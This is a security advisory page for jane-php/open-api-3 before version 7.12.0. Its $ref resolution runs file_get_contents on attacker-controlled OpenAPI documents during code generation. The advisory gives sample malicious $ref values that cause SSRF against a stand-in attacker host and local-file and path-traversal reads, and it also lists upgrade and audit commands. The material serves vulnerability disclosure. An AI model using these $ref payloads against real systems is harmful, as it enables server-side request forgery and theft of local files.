BuzzPHP
LightDarkSystem

Jane: $ref resolution performs SSRF + LFI (path traversal) at code-generation time (jane-php)

High severity. Published 20 November 2026. Update jane-php/open-api-3 to 7.12.0 or later: composer update jane-php/open-api-3.

Which versions are affected?

PackageAffected versionsFixed in
jane-php/open-api-3 (opens in a new tab)< 7.12.07.12.0

What should you do?

Update every affected package you use to its fixed version, then check that nothing else in your project matches an advisory. To see which version you run, and whether anything is still affected:

composer show jane-php/open-api-3
composer audit

Advisory details

SeverityHigh
Published
Updated
CVECVE-2026-63415 (opens in a new tab)
GHSAGHSA-c3cj-3p6p-j822 (opens in a new tab)
WeaknessCWE-22, CWE-98, CWE-611, CWE-918

What the advisory says

Summary jane-php resolves external $ref targets at code-generation time via filegetcontents($ref) (jane-php/json-schema-runtime/Reference.php::doResolve) with no scheme/path restriction. An attacker-controlled OpenAPI document can therefore cause: $ref: 'http://attacker/x' - SSRF (HTTP GET at gen time; response inlined = RFI); $ref: '/abs/file' - LFI; $ref: '../secret.yaml' - path-traversal LFI (CWE-22, arbitrary local JSON/YAML read). Verified 7.11.2/PHP8.1 (listener records the fetch; remote + ../ local content inlined into the generated code). file:// rejected. CWE-918/CWE-98/CWE-611/CWE-22.

Details

Source: GHSA-c3cj-3p6p-j822 (opens in a new tab) in the GitHub Advisory Database (CC BY 4.0). Data from GitHub (opens in a new tab) as of .

Other recent advisories for this package

All Composer security advisories